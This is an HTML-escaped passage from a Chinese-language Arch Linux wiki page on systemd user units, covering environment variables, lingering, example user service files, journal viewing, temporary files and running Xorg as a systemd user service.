&lt;li&gt;&lt;code&gt;systemd --user&lt;&#x2F;code&gt; 和 &lt;code&gt;systemd --system&lt;&#x2F;code&gt; 运行于不同的进程里面，所以用户单元不能引用或依赖于系统单元或其他用户的单元。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ji-chu-she-zhi&quot;&gt;基础设置&lt;&#x2F;h2&gt;
&lt;p&gt;所有的用户单元都位于 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&lt;&#x2F;code&gt; 路径下。 如果你想在首次用户登录时运行单元，对想要自动启动的单元执行 &lt;code&gt;systemctl --user enable unit&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;提示：&lt;&#x2F;strong&gt; 如果不是只让发出&quot;systemctl&quot;命令的用户启用某个service单元，而是想要让所有用户都生效，请以root权限执行&lt;code&gt;systemctl --global enable service&lt;&#x2F;code&gt; 命令。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-jing-bian-liang&quot;&gt;环境变量&lt;&#x2F;h3&gt;
&lt;p&gt;systemd 用户实例不会继承类似 &lt;code&gt;.bashrc&lt;&#x2F;code&gt; 中定义的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Environment variables&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Environment_variables&quot;&gt;环境变量&lt;&#x2F;a&gt;。systemd 用户实例有三种设置环境变量的方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;对于有 &lt;code&gt;$HOME&lt;&#x2F;code&gt; 目录的用户，可以在 &lt;code&gt;~&#x2F;.config&#x2F;environment.d&#x2F;&lt;&#x2F;code&gt; 目录中新建一个&quot;.conf&quot;文件，然后在其中写入格式为&lt;code&gt;NAME=VAL&lt;&#x2F;code&gt;这样的行。这些设置只对指定用户的用户单元有效 。更多信息可以参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;environment.d.5&quot;&gt;environment.d(5)&lt;&#x2F;a&gt; 。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;user.conf&lt;&#x2F;code&gt; 文件中的 &lt;code&gt;DefaultEnvironment&lt;&#x2F;code&gt; 选项。这个配置在所有的用户单元中可见。&lt;&#x2F;li&gt;
&lt;li&gt;在 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;user@.service.d&#x2F;&lt;&#x2F;code&gt; 下增加配置文件设置。 这个配置在所有的用户单元中可见。&lt;&#x2F;li&gt;
&lt;li&gt;在任何时候， 使用 &lt;code&gt;systemctl --user set-environment&lt;&#x2F;code&gt; 或 &lt;code&gt;systemctl --user import-environment&lt;&#x2F;code&gt;. 对设置环境变量之后启动的所有用户单元有效，但已经启动的用户单元不会生效。&lt;&#x2F;li&gt;
&lt;li&gt;使用由 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Dbus&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Dbus&quot;&gt;dbus&lt;&#x2F;a&gt;提供的 &lt;code&gt;dbus-update-activation-environment --systemd --all&lt;&#x2F;code&gt; 命令。和&lt;code&gt;systemctl --user import-environment&lt;&#x2F;code&gt;有同样的效果，但是会影响D-Bus会话。你可以把这个添加到shell初始化文件的末尾。&lt;&#x2F;li&gt;
&lt;li&gt;对于用户环境的“全局”环境变量，可以使用会被某些生成器解析的&lt;code&gt;environment.d&lt;&#x2F;code&gt; 目录。 更多信息可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;environment.d.5&quot;&gt;environment.d(5)&lt;&#x2F;a&gt;和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.generator.7&quot;&gt;systemd.generator(7)&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;您还可以编写一个&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.environment-generator.7&quot;&gt;systemd.environment-generator(7)&lt;&#x2F;a&gt; 脚本，该脚本可以生成因用户而异的环境变量，如果您需要分别给每个用户环境配置变量，这可能是最好的方法（ &lt;code&gt;XDG_RUNTIME_DIR&lt;&#x2F;code&gt;, &lt;code&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;code&gt;等就是这种情况 ）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;提示：&lt;&#x2F;strong&gt; 如果想一次设置多个环境变量，可以写一个配置文件，文件里面每一行定义一个环境变量，用 &quot;key=value&quot; 的键值对表示，然后在你的启动脚本里添加&lt;code&gt;xargs systemctl --user set-environment &amp;lt; &#x2F;path&#x2F;to&#x2F;file.conf&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;一般情况下，你需要设置 &lt;code&gt;PATH&lt;&#x2F;code&gt; 这个环境变量。 配置完成后，可以使用命令 &lt;code&gt;systemctl --user show-environment&lt;&#x2F;code&gt; 来验证值是否正确。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;service-wen-jian-li-zi&quot;&gt;Service 文件例子&lt;&#x2F;h4&gt;
&lt;p&gt;新建 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#Drop-in_files&quot;&gt;drop-in&lt;&#x2F;a&gt; 目录 &lt;code&gt;&#x2F;etc&#x2F;systemd&#x2F;system&#x2F;user@.service.d&#x2F;&lt;&#x2F;code&gt; 然后在里面新建一个 &lt;code&gt;.conf&lt;&#x2F;code&gt;文件 (例如 &lt;code&gt;local.conf&lt;&#x2F;code&gt;):&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;systemd&amp;#x2F;system&amp;#x2F;user@.service.d&amp;#x2F;local.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Service]
Environment=&amp;quot;PATH=&amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;ccache&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin:&amp;#x2F;usr&amp;#x2F;bin:&amp;#x2F;bin&amp;quot;
Environment=&amp;quot;EDITOR=nano -c&amp;quot;
Environment=&amp;quot;BROWSER=firefox&amp;quot;
Environment=&amp;quot;NO_AT_BRIDGE=1&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;&quot;&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;任何一个 X 应用程序都需要使用 &lt;code&gt;DISPLAY&lt;&#x2F;code&gt; 来指示使用哪个显示器，而 &lt;code&gt;XAUTHORITY&lt;&#x2F;code&gt; 则是保存了用户授权文件 &lt;code&gt;.Xauthority&lt;&#x2F;code&gt; 的路径，X 应用需要用户授权文件中的 cookie 信息才能访问 X Server。如果你想通过 systemd 单元启动一个 X 应用，必须先设置这两个环境变量。systemd 提供了一个脚本 &lt;code&gt;&#x2F;etc&#x2F;X11&#x2F;xinit&#x2F;xinitrc.d&#x2F;50-systemd-user.sh&lt;&#x2F;code&gt;，在 X 启动的时候，将这些环境变量导入到 systemd 用户会话中。所以除非你不是通过正常的途径启动X，systemd用户服务应该已经包含了这两个变量。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;path&quot;&gt;PATH&lt;&#x2F;h4&gt;
&lt;p&gt;通过 &lt;code&gt;.bashrc&lt;&#x2F;code&gt; 或者 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 设置的环境变量，对 systemd 都是不可见的。 如果你改变了你的 &lt;code&gt;PATH&lt;&#x2F;code&gt; 变量，并且准备在 systemd 单元运行的应用中使用这个环境变量，你必须在 systemd 的环境中设置 &lt;code&gt;PATH&lt;&#x2F;code&gt;。假设你在 &lt;code&gt;.bash_profile&lt;&#x2F;code&gt; 中设置了 &lt;code&gt;PATH&lt;&#x2F;code&gt;，让 systemd 感知到这个变化的最好方法是在修改 &lt;code&gt;PATH&lt;&#x2F;code&gt; 之后，加入以下行通知 systemd：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.bash_profile
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;systemctl --user import-environment PATH
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不会影响导入 &lt;code&gt;PATH&lt;&#x2F;code&gt; 之前启用的程序.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;systemd&lt;&#x2F;em&gt; 只有在处理绝对路径二进制时才会使用设置的 &lt;code&gt;PATH&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;pam-env&quot;&gt;pam_env&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  这种为用户设置环境变量的方法已弃用且将被移除。&lt;&#x2F;p&gt;
&lt;p&gt;环境变量可以通过 &lt;code&gt;pam_env.so&lt;&#x2F;code&gt; 模块来设置。参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;环境变量&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F#%E4%BD%BF%E7%94%A8_pam_env&quot;&gt;环境变量#使用 pam_env&lt;&#x2F;a&gt; 获取配置详情。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sui-xi-tong-zi-dong-qi-dong-systemd-yong-hu-shi-li&quot;&gt;随系统自动启动 systemd 用户实例&lt;&#x2F;h3&gt;
&lt;p&gt;systemd 用户实例在用户首次登录时启动，并在最后一个会话退出时终止。 但有时候，对于一些不依赖于会话的用户进程，在系统启动时加载用户实例，在会话全部结束时，也不停止用户实例是比较有用的。Lingering 就是用来实现这个的。 使用以下命令来启用驻留：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ loginctl enable-linger
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为另一个用户启用驻留：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;# loginctl enable-linger username
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  systemd 服务是&lt;strong&gt;没有&lt;&#x2F;strong&gt; 会话的， 它们在 &lt;em&gt;logind&lt;&#x2F;em&gt; 状态之外运行， 所以不要在 lingering 中启用自动登录的功能，这会导致 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;常规故障排除&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4#%E4%BC%9A%E8%AF%9D%E6%9D%83%E9%99%90&quot;&gt;会话中断&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;kai-fa-yong-hu-dan-yuan&quot;&gt;开发用户单元&lt;&#x2F;h2&gt;
&lt;p&gt;通用的 systemd unit 文件编写请参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#%E7%BC%96%E5%86%99%E5%8D%95%E5%85%83%E6%96%87%E4%BB%B6&quot;&gt;systemd#编写单元文件&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;li-zi&quot;&gt;例子&lt;&#x2F;h3&gt;
&lt;p&gt;下面是 mpd 服务用户版本的例子:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;mpd.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Music Player Daemon

[Service]
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;mpd --no-daemon

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shi-yong-bian-liang-de-li-zi&quot;&gt;使用变量的例子&lt;&#x2F;h3&gt;
&lt;p&gt;下面是用于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;foldingathome&#x2F;&quot;&gt;foldingathome&lt;&#x2F;a&gt;^AUR^ 的用户服务，将主目录作为变量传入使得 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Folding@home&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Folding@home&quot;&gt;Folding@home&lt;&#x2F;a&gt; 能找到指定文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;foldingathome-user.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Folding@home distributed computing client
After=network.target

[Service]
Type=simple
WorkingDirectory=%h&amp;#x2F;.config&amp;#x2F;fah
ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;FAHClient
CPUSchedulingPolicy=idle
IOSchedulingClass=3

[Install]
WantedBy=default.target
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.unit.5&quot;&gt;systemd.unit(5)&lt;&#x2F;a&gt; 的 SPECIFIERS 章节中，详细介绍了各种变量,  &lt;code&gt;%h&lt;&#x2F;code&gt; 指示符将使用运行该服务的用户的主目录替代。更多的变量参考 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt; 的手册页。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-kan-ri-zhi&quot;&gt;查看日志&lt;&#x2F;h3&gt;
&lt;p&gt;查看用户单元的日志可以用类似命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;查看指定单元的日志，可以使用以下命令：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user-unit myunit.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以这样：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ journalctl --user -u myunit.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  UID 小于 1000 的用户的日志不会被 journald 记录，需要的话可以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;blob&#x2F;a33687b792908aa6c9f4c0b22e8935643ee0ddb6&#x2F;src&#x2F;journal&#x2F;journald-server.c#L402&quot;&gt;重定向&lt;&#x2F;a&gt; 所有内容至系统日志。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lin-shi-wen-jian&quot;&gt;临时文件&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;systemd-tmpfiles&lt;&#x2F;em&gt; 可以像管理系统临时文件那样管理用户自定义的临时文件和目录（参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd#systemd-tmpfiles_-_%E4%B8%B4%E6%97%B6%E6%96%87%E4%BB%B6&quot;&gt;systemd#systemd-tmpfiles - 临时文件&lt;&#x2F;a&gt;）。用户配置文件以 &lt;code&gt;~&#x2F;.config&#x2F;user-tmpfiles.d&#x2F;&lt;&#x2F;code&gt; 和 &lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;user-tmpfiles.d&#x2F;&lt;&#x2F;code&gt; 的顺序读取。为了正常使用本功能，需要为用户启用必要的 systemd 用户单元：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ systemctl --user enable systemd-tmpfiles-setup.service systemd-tmpfiles-clean.timer
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;配置文件的语法格式和系统级的配置是一样的，详情请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd-tmpfiles.8&quot;&gt;systemd-tmpfiles(8)&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;tmpfiles.d.5&quot;&gt;tmpfiles.d(5)&lt;&#x2F;a&gt; 手册页。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xorg-he-systemd&quot;&gt;Xorg 和 systemd&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&quot;&gt;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&lt;&#x2F;a&gt;&lt;strong&gt;这篇文章的某些内容需要扩充。&lt;&#x2F;strong&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&quot;&gt;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;File:Tango-view-fullscreen.png&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  Cover &lt;code&gt;graphical-session.target&lt;&#x2F;code&gt;: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.special.7#Special_Passive_User_Units&quot;&gt;systemd.special(7) § Special Passive User Units&lt;&#x2F;a&gt;, [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;goral.net.pl&#x2F;post&#x2F;systemd-x-sessions&#x2F;&quot;&gt;3]&lt;&#x2F;a&gt;. (在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:Systemd&#x2F;%E7%94%A8%E6%88%B7&quot;&gt;Talk:Systemd&#x2F;用户&lt;&#x2F;a&gt; 中讨论)&lt;&#x2F;p&gt;
&lt;p&gt;使用 systemd 单元来运行 Xorg 有好几种方法，下面介绍其中两种，一种是启动一个新的用户会话，在里面运行 Xorg 服务，另外一种是用 systemd 用户服务启动 Xorg。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;mei-you-xian-shi-guan-li-qi-de-qing-kuang-xia-zi-dong-deng-lu-dao-xorg&quot;&gt;没有显示管理器的情况下自动登录到 Xorg&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;systemd-user-session&#x2F;tango-inaccurate-icon.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;strong&gt;本文或本章节的事实准确性存在争议。&lt;&#x2F;strong&gt; &lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;systemd-user-session&#x2F;tango-inaccurate-icon.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;原因：&lt;&#x2F;strong&gt;  这样设置会导致用户有2条 D-Bus 总线，一条用于桌面，另一条用于 systemd。为什么不共用 systemd 的那一条？（在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Talk:Systemd&#x2F;%E7%94%A8%E6%88%B7&quot;&gt;Talk:Systemd&#x2F;用户&lt;&#x2F;a&gt; 中讨论）&lt;&#x2F;p&gt;
&lt;p&gt;这种方法通过一个系统单元将用户会话带起来，并在用户会话里面启动一个 xorg 服务，并运行 &lt;code&gt;~&#x2F;.xinitrc&lt;&#x2F;code&gt; 将窗口管理器等启动起来。你需要安装好 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aur.archlinux.org&#x2F;packages&#x2F;xlogin-git&#x2F;&quot;&gt;xlogin-git&lt;&#x2F;a&gt;^AUR^，并按照 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xinit&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xinit#xinitrc&quot;&gt;Xinit#xinitrc&lt;&#x2F;a&gt; 来设置好你的 xinitrc。&lt;&#x2F;p&gt;
&lt;p&gt;会话会使用它自己的 dbus 守护，而需要用到 &lt;code&gt;dbus.service&lt;&#x2F;code&gt; 的 systemd 工具会自动连接到会话的 dbus 实例上。最后&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Enable&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Enable&quot;&gt;启用&lt;&#x2F;a&gt; &lt;code&gt;xlogin@username&lt;&#x2F;code&gt; 服务来达成开机自动登录。 整个用户会话都在 systemd 的作用域下运行，会话内的一切都能正常工作。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jiang-xorg-zuo-wei-systemd-yong-hu-fu-wu&quot;&gt;将 Xorg 作为 systemd 用户服务&lt;&#x2F;h3&gt;
&lt;p&gt;另外一种选择是将 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xorg&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xorg&quot;&gt;xorg&lt;&#x2F;a&gt; 作为一个 systemd 用户服务。这是一种不错的方案，因为其他的 X-related units 可以依赖于 xorg 服务。 但另一方面，这个方案存在某些倒退，这在下面会提到。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=xorg-server&quot;&gt;xorg-server&lt;&#x2F;a&gt;^包^ 提供了两种整合到 systemd 的方法:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以在无特权模式下运行，设备管理由 logind 代为管理(参考 Hans de Goede 的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;commit&#x2F;82863656ec449644cd34a86388ba40f36cea11e9&quot;&gt;这个提交&lt;&#x2F;a&gt;)。&lt;&#x2F;li&gt;
&lt;li&gt;可以实现通过 socket 激活服务 (参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;commit&#x2F;b3d3ffd19937827bcbdb833a628f9b1814a6e189&quot;&gt;这个提交&lt;&#x2F;a&gt;)。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;但非常不幸，xorg 的无特权模式需要在用户会话里面运行。所以，xorg 的用户服务只能在 root 权限下运行(和 1.16 版本之前一样)，而不能使用 1.16 版本提供的无特权模式。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  这并不是 logind 强加的限制，而是 xorg 需要知道它将要接管的是哪个会话，而现在它通过调用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.freedesktop.org&#x2F;wiki&#x2F;Software&#x2F;systemd&#x2F;logind&quot;&gt;logind&lt;&#x2F;a&gt;&#x27;s &lt;code&gt;GetSessionByPID&lt;&#x2F;code&gt; 来获取这个信息(使用 xorg 自身的 pid 作为参数)。参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;lists.x.org&#x2F;archives&#x2F;xorg-devel&#x2F;2014-February&#x2F;040476.html&quot;&gt;这个话题&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;-&#x2F;blob&#x2F;master&#x2F;hw&#x2F;xfree86&#x2F;os-support&#x2F;linux&#x2F;systemd-logind.c&quot;&gt;xorg 源码&lt;&#x2F;a&gt;. 看上去如果 xorg 通过其依附的 tty 来获取会话信息的话，这个问题将得到解决。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  在 xorg 1.18 上 socket 激活存在问题，客户端会触发激活死锁。具体查阅上游报告 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gitlab.freedesktop.org&#x2F;xorg&#x2F;xserver&#x2F;issues&#x2F;491&quot;&gt;4]&lt;&#x2F;a&gt;。临时策略是启动一个不带 socket 激活的 xorg 服务器，并在服务器启动一段时间后客户端再连接，确保连接时服务器已经启动。目前来看没有一个可靠机制来判断 X 服务器是否启动完毕。&lt;&#x2F;p&gt;
&lt;p&gt;下面是从用户服务运行 xorg 的步骤：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通过编辑 &lt;code&gt;&#x2F;etc&#x2F;X11&#x2F;Xwrapper.config&lt;&#x2F;code&gt; 文件，允许所有用户使用 root 权限运行 xorg。这是在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Xorg&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Xorg#Xorg_as_Root&quot;&gt;Xorg#Xorg as Root&lt;&#x2F;a&gt; 的基础上，无需用户在实际控制台上登录，而是将 &lt;code&gt;allowed_user&lt;&#x2F;code&gt; 的默认 &lt;code&gt;console&lt;&#x2F;code&gt; 控制台定义成了 &lt;code&gt;anybody&lt;&#x2F;code&gt;。参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;Xorg.wrap.1&quot;&gt;Xorg.wrap(1)&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;etc&amp;#x2F;X11&amp;#x2F;Xwrapper.config
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;allowed_users=anybody
needs_root_rights=yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;把下面 systemd 单元加到 &lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&lt;&#x2F;code&gt; 目录下：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;xorg@.socket
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Socket for xorg at display %i

[Socket]
ListenStream=&amp;#x2F;tmp&amp;#x2F;.X11-unix&amp;#x2F;X%i
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;~&amp;#x2F;.config&amp;#x2F;systemd&amp;#x2F;user&amp;#x2F;xorg@.service
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=Xorg server at display %i

Requires=xorg@%i.socket
After=xorg@%i.socket

[Service]
Type=simple
SuccessExitStatus=0 1

ExecStart=&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;Xorg :%i -nolisten tcp -noreset -verbose 2 &amp;quot;vt${XDG_VTNR}&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里 &lt;code&gt;${XDG_VTNR} &lt;&#x2F;code&gt; 表示 xorg 将要运行的虚拟终端，可以在服务单元文件里面硬编码，也可像下面那样在环境变量里指定：&lt;&#x2F;p&gt;
